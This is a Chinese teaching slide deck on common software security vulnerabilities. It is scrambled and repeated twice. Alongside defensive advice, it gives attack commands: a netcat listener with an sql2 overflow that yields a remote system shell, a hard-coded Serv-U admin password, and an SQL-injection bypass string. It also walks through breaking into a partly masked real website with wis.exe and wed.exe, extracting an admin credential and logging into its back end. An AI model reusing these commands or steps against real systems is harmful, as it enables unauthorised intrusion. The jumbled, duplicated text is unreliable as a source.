06_软件开发中常见的安全漏洞
合集下载
相关主题
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
软件开发中的安全漏洞
田宏政
2014-9-9
1
安全漏洞难以完全避免 但是,有经验的开发人员一般软件中存在的安全 漏洞会比较少 了解常见的软件开发中的安全漏洞对于开发安全 的软件是很有帮助的
2014-9-9
2
漏洞的种类
软件设计错误 逻辑判断失误 缓冲区溢出 SQL注入 Cookie修改 隐藏字段修改 跨站脚本攻击 。。。。。。
2014-9-9
26
四、搜索隐藏的管理登录页面
重新回到刚才的软件下载页面中,任意点击了一个软件 下载链接,哎呀?怎么可以随便下载的呢!不像以前碰到的 收费网站,要输入用户名和密码才可以下载。看来这是免费 下载的网站,我猜错了攻击对象,不过既然都来了,就看看 有没有什么可利用的吧? 拿到了管理员的帐号,现在看来我们只有找到管理员登 录管理的入口才行了。在网页上找遍了也没有看到什么管理 员的入口链接,看来还是得让榕哥出手啦! 再次拿出"wis.exe"程序,这个程序除了可以扫描出网站 中存在的所有SQL注入点外,还可以找到隐藏的管理员登录 页面。在命令窗口中输入"wis.exe http://www.as.***.cn/rjz/sort.asp?classid=1/ /a"。注意这里 输入了一个隐藏的参数"/a"。
2014-9-9
19
2014-9-9
20
Serv-U FTP 服务器漏洞
该软件常用于在网内建立FTP服务器 漏洞原理:
该服务器默认以”本地系统账户”的权限运行, 导致普通用户也能利用这个”本地系统账户” 来执行系统命令 存在一个用户名为”LocalAdnimistrator‖,密码为 #1@$ak#.1k;0@P的默认管理员账号,且密码固 定(只能通过连接到本地的127.0.0.1:43958端口 进行登录),从而留下隐患
5
当输入字符串长度超过预定长度的时 候,缓冲区溢出,程序崩溃
2014-9-9
6
在Windows 2000 Server或者Windows 2003 Server上,默认情况下,发生溢出时没有出错 信息,而只是自动关闭溢出的程序
2014-9-9
7
缓冲区溢出漏洞存在于c/c++以及以此为基 础的编程语言 一般的溢出方法会导致程序停止运行,但仔 细分析构造出的溢出数据可以让程序在溢出 之后运行我们输入的代码 在windows xp中,如果启用了 dep(数据执 行保护)功能,可以减少缓冲区溢出的威胁
4
2014-9-9
一个会引起缓冲区溢出的C语言程序
#include <stdio.h> main() { char buf[40]; // 定义的缓冲区 scanf(―%s‖, buf); // 如果用户输入的内容长 度大于40,将会导致缓冲区溢出 printf(―%s‖, buf); }
2014-9-9
2014-9-9
15
MS SQL 漏洞
利用工具:SQL2(已有下载) 命令格式:sql2 [远程IP] [本地IP] <本地端口> <SQL版 本> 说明:<本地端口> 指在本机上用NC打开的监听端口; <SQL版本>对SQL2000而言有三个版本0,1,2 例:如果对方用的是MSSQL SP1,则可用如下命令进行 溢出:
12
隐藏字段欺骗
如果将认证等数据信息保存在网页的隐藏字段中,同 样存在类似的问题 例:<%
If Request(―username‖)=―admin‖ Then Response.Write ―你是管理员” End If %> <form action=―‖> <input type="hidden" name=―username" value=―zhang3"> <input type=―button‖>
小提示:这次输入网址时,最后面千万不要加上那个"/",但前面的 "http://";头也还是必不可少的。
可以看到程序自动打开了工具包中的几个文件, "C:\wed\wed\TableName.dic"、"C:\wed\wed\UserField.dic"和 "C:\wed\wed\PassField.dic",这几个文件分别是用来破解用户 数据库中的字表名、用户名和用户密码所需的字典文件。当然 我们也可以用其它的工具来生成字典文件,不过想想小榕哥以 前出的"黑客字典"那么的强大,还用得着去多此一举吗?
</form>
2014-9-9 13
Sql注入
很多网站采用类似以下的代码进行用户认证 Password = request(―password‖) Sql = ―select * from usertable where username=‗admin‘ and password = ‗‖ + password + ―‘‖ Conn.open sql
2014-9-9
3
缓冲区溢出型漏洞
缓冲区溢出型漏洞是计算机系统软件中极为常见的 一类安全漏洞 包括 rpcdcom漏洞,ida&idq漏洞等在内的漏洞都属 于这一类漏洞 主要原因是由于C/C++语言中,对缓冲区的使用没 有边界检测。因为在缓冲区的附近会有一些重要的 数据结构。当输入的数据长度超出缓冲区的长度时, 可能覆盖这些重要的数据结构,造成程序执行流程 的改变。黑客通过仔细地分析这些数据结构,可以 构造出特定的输入数据,当发生溢出时,会执行黑 客输入的代码,达到攻击目标机器的目的
2014-9-9
14
正常填写的时候,sql语句为 Select * from usertable where username=‗admin‘ and password=‗123456‘ 但如果输入以下口令时,语句变为 Select * from usertable where Username=‗admin‘ and password=‗123456‘ or ‗1‘=‗1‘
2014-9-9
28
作业布置
2014-9-9
11
Cookie 欺骗造成的 Web入侵
有些系统将系统的认证信息直接保存与Cookie 变量中。如果入侵值了解Cookie 的意义,则 可以利用特殊的浏览器来伪造一个Cookie,对 Web系统进行欺骗,使系统误认为是一个合法 的系统用户,从而可以越权访问系统的数据。 。
2014-9-9
NC –l –p 53 Sql2 db.target.com 200.200.200.200 53 1
2014-9-9
16
入侵实例
思路:NC监听,漏洞溢出,建立连接 步骤:
NC监听:NC –l –p 250 漏洞溢出:sql2 192.168.245.137 192.168.245.1 250 0(或1,2依次来试) 建立连接:在NC监听端口上出现system32>后说明 双方已成功连接,并可以用管理员身份执行任何命令.
2014-9-9
17
在网页开发中防范SQL注入
不要轻易相信从客户端传递过来的数据,对客 户端传递过来的数据进行严格的合法性检查 利用正则表达式对客户输入的数据进行合法性 检查 一定要在服务端进行检查,不能仅仅在客户端 进行检查
2014-9-9
18
使用自动检测工具检测SQL注入漏洞
因为SQL注入是现在网站入侵的重要途径,因 此出现了一些辅助自动测试工具,如NBSI, 阿D注入检测工具 在网站开发中,可以利用这些自动检测工具进 行辅助检测。但最重要的是对源码进行人工检 查,确保客户端传输来的数据进行合法性检验
24
2014-9-9
三、SQL注入破解管理员帐号
现在进入命令窗口中,使用刚才下载的工具包中的 "wed.exe"程序,命令使用格式为:"wed.exe 网址"输入如下命 令:"wed.exe http://www.as.***.cn/rjz/sort.asp?classid=1"。 回车后可看到命令运行情况。
9
网站开发中常见的漏洞
2014-9-9
10
缺少必要的认证检查导致可以直接访 问动态网页导致入侵。
如一个网站,在一般的情况下需要通过 index.htm的一个链接而访问网页 b.asp。假设 网页b.asp内有一些功能需要认证才能访问。 但如果 b.asp缺少必要的代码检查是否通过正 常的认证登录系统,则可能导致用户可以直接 在浏览器地址栏输入 b.asp的地址而绕过系统 正常的认证。
2014-9-9
21
漏洞利用
本漏洞的检测与利用参见教材P199-200
2014-9-9
22
实例:SQL注入攻击实战
一、工具下载 下载来的这个工具包中总有两个小程序: "wed.exe"和"wis.exe",其中"wis.exe"是用来扫 描某个站点中是否存在SQL注入漏洞的; "wed.exe"则是用来破解SQL注入用户名密码的。 两个工具的使用都非常简单,结合起来,就可 以完成从寻找注入点到注入攻击完成的整个过 程。
2014-9-9
25
在破解过程中还可以看到"SQL Injection Detected."的 字符串字样,表示程序还会对需要注入破解的网站进行一 次检测,看看是否存在SQL注入漏洞,成功后才开始猜测 用户名。 开始等待吧!呵呵,很快就获得了数据库表名"admin", 然后得到用户表名和字长,为"username"和"6";再检测到 密码表名和字长,为"password"和"8"。看来用户的密码还 起得挺长的呢,如果手工破解出这个用户密码来,一定要 花上不少时间的! 正想着手工注入会有多困难时,"wed.exe"程序已经开 始了用户名和密码的破解。很快的,就得到了用户名和密 码了——"admina"、"pbk&7*8r"!天啦,这也太容易了吧! 还不到一分钟呢
2014-9-9
23
二、寻找SQL注入点 “wis.exe‖使用的格式如下:“wis.exe 网址”,例如: 首先打开命令提示窗口,输入如下命令:"wis.exe http://www.as.***.cn/"。 小提示:在输入网址时,前面的"http://";和最后面的 "/"是必不可少的,否则将会提示无法进行扫描。 输入完毕后回车,即可开始进行扫描了。很快得到了 扫描结果,可以看到这个网站中存在着很多SQL注入漏洞, 我们随便挑其中一个来做试验,就挑 "/rjz/sort.asp?classid=1"吧。 打开浏览器,在地址栏中输入 "http://www.as.***.cn/rjz/sort.asp?classid=1",打开了网站 页面,呵呵,原来是一个下载网页。现在来对它进行SQL 注入,破解出管理员的帐号来吧!
2014-9-9
8
入侵者如何利用缓冲区溢出漏洞?
发现漏洞 使用调试器分析地址 编写ShellCode 编写发送ShellCode的程序 如何寻找存在缓冲区溢出的漏洞程序是很困难的 如何利用这些漏洞也是困难的 对缓冲区溢出漏洞的熟悉程度,很大程度上可以说明 黑客水平的高低
wk.baidu.com
2014-9-9
2014-9-9 27
怎么会扫描不成功呢?呵呵,原来这是扫描注入点,当然不能 成功了,管理员登录页面只可能隐藏在整个网站的某个路径下。于 是输入"wis.exe http://www.as.***.cn/ /a",对整个网站进行扫描。 注意扫描语句中网址的格式。程序开始对网站中的登录页面进行扫 描,在扫描过程中,找到的隐藏登录页面会在屏幕上以红色进行显 示。很快就查找完了,在最后以列表显示在命令窗口中。可以看到 列表中有多个以"/rjz/"开头的登录页面网址,包括 "/rjz/gl/manage.asp"、"/rjz/gl/login.asp"、"/rjz/gl/admin1.asp"等。 就挑"/rjz/gl/admin1.asp"吧,反正这些都是管理员登录的页面想用 哪个都可以。 在浏览器中输入网址" http://www.as.***.cn/rjz/gl/admin1.asp", 呵呵,出现了本来隐藏着的管理员登录页面。输入用户名和密码, 就进入到后台管理系统,进来了做些什么呢?当然不能搞破坏啦, 看到有一个添加公告的地方,好啊,就在这儿给管理员留下一点小 小的通知吧!
田宏政
2014-9-9
1
安全漏洞难以完全避免 但是,有经验的开发人员一般软件中存在的安全 漏洞会比较少 了解常见的软件开发中的安全漏洞对于开发安全 的软件是很有帮助的
2014-9-9
2
漏洞的种类
软件设计错误 逻辑判断失误 缓冲区溢出 SQL注入 Cookie修改 隐藏字段修改 跨站脚本攻击 。。。。。。
2014-9-9
26
四、搜索隐藏的管理登录页面
重新回到刚才的软件下载页面中,任意点击了一个软件 下载链接,哎呀?怎么可以随便下载的呢!不像以前碰到的 收费网站,要输入用户名和密码才可以下载。看来这是免费 下载的网站,我猜错了攻击对象,不过既然都来了,就看看 有没有什么可利用的吧? 拿到了管理员的帐号,现在看来我们只有找到管理员登 录管理的入口才行了。在网页上找遍了也没有看到什么管理 员的入口链接,看来还是得让榕哥出手啦! 再次拿出"wis.exe"程序,这个程序除了可以扫描出网站 中存在的所有SQL注入点外,还可以找到隐藏的管理员登录 页面。在命令窗口中输入"wis.exe http://www.as.***.cn/rjz/sort.asp?classid=1/ /a"。注意这里 输入了一个隐藏的参数"/a"。
2014-9-9
19
2014-9-9
20
Serv-U FTP 服务器漏洞
该软件常用于在网内建立FTP服务器 漏洞原理:
该服务器默认以”本地系统账户”的权限运行, 导致普通用户也能利用这个”本地系统账户” 来执行系统命令 存在一个用户名为”LocalAdnimistrator‖,密码为 #1@$ak#.1k;0@P的默认管理员账号,且密码固 定(只能通过连接到本地的127.0.0.1:43958端口 进行登录),从而留下隐患
5
当输入字符串长度超过预定长度的时 候,缓冲区溢出,程序崩溃
2014-9-9
6
在Windows 2000 Server或者Windows 2003 Server上,默认情况下,发生溢出时没有出错 信息,而只是自动关闭溢出的程序
2014-9-9
7
缓冲区溢出漏洞存在于c/c++以及以此为基 础的编程语言 一般的溢出方法会导致程序停止运行,但仔 细分析构造出的溢出数据可以让程序在溢出 之后运行我们输入的代码 在windows xp中,如果启用了 dep(数据执 行保护)功能,可以减少缓冲区溢出的威胁
4
2014-9-9
一个会引起缓冲区溢出的C语言程序
#include <stdio.h> main() { char buf[40]; // 定义的缓冲区 scanf(―%s‖, buf); // 如果用户输入的内容长 度大于40,将会导致缓冲区溢出 printf(―%s‖, buf); }
2014-9-9
2014-9-9
15
MS SQL 漏洞
利用工具:SQL2(已有下载) 命令格式:sql2 [远程IP] [本地IP] <本地端口> <SQL版 本> 说明:<本地端口> 指在本机上用NC打开的监听端口; <SQL版本>对SQL2000而言有三个版本0,1,2 例:如果对方用的是MSSQL SP1,则可用如下命令进行 溢出:
12
隐藏字段欺骗
如果将认证等数据信息保存在网页的隐藏字段中,同 样存在类似的问题 例:<%
If Request(―username‖)=―admin‖ Then Response.Write ―你是管理员” End If %> <form action=―‖> <input type="hidden" name=―username" value=―zhang3"> <input type=―button‖>
小提示:这次输入网址时,最后面千万不要加上那个"/",但前面的 "http://";头也还是必不可少的。
可以看到程序自动打开了工具包中的几个文件, "C:\wed\wed\TableName.dic"、"C:\wed\wed\UserField.dic"和 "C:\wed\wed\PassField.dic",这几个文件分别是用来破解用户 数据库中的字表名、用户名和用户密码所需的字典文件。当然 我们也可以用其它的工具来生成字典文件,不过想想小榕哥以 前出的"黑客字典"那么的强大,还用得着去多此一举吗?
</form>
2014-9-9 13
Sql注入
很多网站采用类似以下的代码进行用户认证 Password = request(―password‖) Sql = ―select * from usertable where username=‗admin‘ and password = ‗‖ + password + ―‘‖ Conn.open sql
2014-9-9
3
缓冲区溢出型漏洞
缓冲区溢出型漏洞是计算机系统软件中极为常见的 一类安全漏洞 包括 rpcdcom漏洞,ida&idq漏洞等在内的漏洞都属 于这一类漏洞 主要原因是由于C/C++语言中,对缓冲区的使用没 有边界检测。因为在缓冲区的附近会有一些重要的 数据结构。当输入的数据长度超出缓冲区的长度时, 可能覆盖这些重要的数据结构,造成程序执行流程 的改变。黑客通过仔细地分析这些数据结构,可以 构造出特定的输入数据,当发生溢出时,会执行黑 客输入的代码,达到攻击目标机器的目的
2014-9-9
14
正常填写的时候,sql语句为 Select * from usertable where username=‗admin‘ and password=‗123456‘ 但如果输入以下口令时,语句变为 Select * from usertable where Username=‗admin‘ and password=‗123456‘ or ‗1‘=‗1‘
2014-9-9
28
作业布置
2014-9-9
11
Cookie 欺骗造成的 Web入侵
有些系统将系统的认证信息直接保存与Cookie 变量中。如果入侵值了解Cookie 的意义,则 可以利用特殊的浏览器来伪造一个Cookie,对 Web系统进行欺骗,使系统误认为是一个合法 的系统用户,从而可以越权访问系统的数据。 。
2014-9-9
NC –l –p 53 Sql2 db.target.com 200.200.200.200 53 1
2014-9-9
16
入侵实例
思路:NC监听,漏洞溢出,建立连接 步骤:
NC监听:NC –l –p 250 漏洞溢出:sql2 192.168.245.137 192.168.245.1 250 0(或1,2依次来试) 建立连接:在NC监听端口上出现system32>后说明 双方已成功连接,并可以用管理员身份执行任何命令.
2014-9-9
17
在网页开发中防范SQL注入
不要轻易相信从客户端传递过来的数据,对客 户端传递过来的数据进行严格的合法性检查 利用正则表达式对客户输入的数据进行合法性 检查 一定要在服务端进行检查,不能仅仅在客户端 进行检查
2014-9-9
18
使用自动检测工具检测SQL注入漏洞
因为SQL注入是现在网站入侵的重要途径,因 此出现了一些辅助自动测试工具,如NBSI, 阿D注入检测工具 在网站开发中,可以利用这些自动检测工具进 行辅助检测。但最重要的是对源码进行人工检 查,确保客户端传输来的数据进行合法性检验
24
2014-9-9
三、SQL注入破解管理员帐号
现在进入命令窗口中,使用刚才下载的工具包中的 "wed.exe"程序,命令使用格式为:"wed.exe 网址"输入如下命 令:"wed.exe http://www.as.***.cn/rjz/sort.asp?classid=1"。 回车后可看到命令运行情况。
9
网站开发中常见的漏洞
2014-9-9
10
缺少必要的认证检查导致可以直接访 问动态网页导致入侵。
如一个网站,在一般的情况下需要通过 index.htm的一个链接而访问网页 b.asp。假设 网页b.asp内有一些功能需要认证才能访问。 但如果 b.asp缺少必要的代码检查是否通过正 常的认证登录系统,则可能导致用户可以直接 在浏览器地址栏输入 b.asp的地址而绕过系统 正常的认证。
2014-9-9
21
漏洞利用
本漏洞的检测与利用参见教材P199-200
2014-9-9
22
实例:SQL注入攻击实战
一、工具下载 下载来的这个工具包中总有两个小程序: "wed.exe"和"wis.exe",其中"wis.exe"是用来扫 描某个站点中是否存在SQL注入漏洞的; "wed.exe"则是用来破解SQL注入用户名密码的。 两个工具的使用都非常简单,结合起来,就可 以完成从寻找注入点到注入攻击完成的整个过 程。
2014-9-9
25
在破解过程中还可以看到"SQL Injection Detected."的 字符串字样,表示程序还会对需要注入破解的网站进行一 次检测,看看是否存在SQL注入漏洞,成功后才开始猜测 用户名。 开始等待吧!呵呵,很快就获得了数据库表名"admin", 然后得到用户表名和字长,为"username"和"6";再检测到 密码表名和字长,为"password"和"8"。看来用户的密码还 起得挺长的呢,如果手工破解出这个用户密码来,一定要 花上不少时间的! 正想着手工注入会有多困难时,"wed.exe"程序已经开 始了用户名和密码的破解。很快的,就得到了用户名和密 码了——"admina"、"pbk&7*8r"!天啦,这也太容易了吧! 还不到一分钟呢
2014-9-9
23
二、寻找SQL注入点 “wis.exe‖使用的格式如下:“wis.exe 网址”,例如: 首先打开命令提示窗口,输入如下命令:"wis.exe http://www.as.***.cn/"。 小提示:在输入网址时,前面的"http://";和最后面的 "/"是必不可少的,否则将会提示无法进行扫描。 输入完毕后回车,即可开始进行扫描了。很快得到了 扫描结果,可以看到这个网站中存在着很多SQL注入漏洞, 我们随便挑其中一个来做试验,就挑 "/rjz/sort.asp?classid=1"吧。 打开浏览器,在地址栏中输入 "http://www.as.***.cn/rjz/sort.asp?classid=1",打开了网站 页面,呵呵,原来是一个下载网页。现在来对它进行SQL 注入,破解出管理员的帐号来吧!
2014-9-9
8
入侵者如何利用缓冲区溢出漏洞?
发现漏洞 使用调试器分析地址 编写ShellCode 编写发送ShellCode的程序 如何寻找存在缓冲区溢出的漏洞程序是很困难的 如何利用这些漏洞也是困难的 对缓冲区溢出漏洞的熟悉程度,很大程度上可以说明 黑客水平的高低
wk.baidu.com
2014-9-9
2014-9-9 27
怎么会扫描不成功呢?呵呵,原来这是扫描注入点,当然不能 成功了,管理员登录页面只可能隐藏在整个网站的某个路径下。于 是输入"wis.exe http://www.as.***.cn/ /a",对整个网站进行扫描。 注意扫描语句中网址的格式。程序开始对网站中的登录页面进行扫 描,在扫描过程中,找到的隐藏登录页面会在屏幕上以红色进行显 示。很快就查找完了,在最后以列表显示在命令窗口中。可以看到 列表中有多个以"/rjz/"开头的登录页面网址,包括 "/rjz/gl/manage.asp"、"/rjz/gl/login.asp"、"/rjz/gl/admin1.asp"等。 就挑"/rjz/gl/admin1.asp"吧,反正这些都是管理员登录的页面想用 哪个都可以。 在浏览器中输入网址" http://www.as.***.cn/rjz/gl/admin1.asp", 呵呵,出现了本来隐藏着的管理员登录页面。输入用户名和密码, 就进入到后台管理系统,进来了做些什么呢?当然不能搞破坏啦, 看到有一个添加公告的地方,好啊,就在这儿给管理员留下一点小 小的通知吧!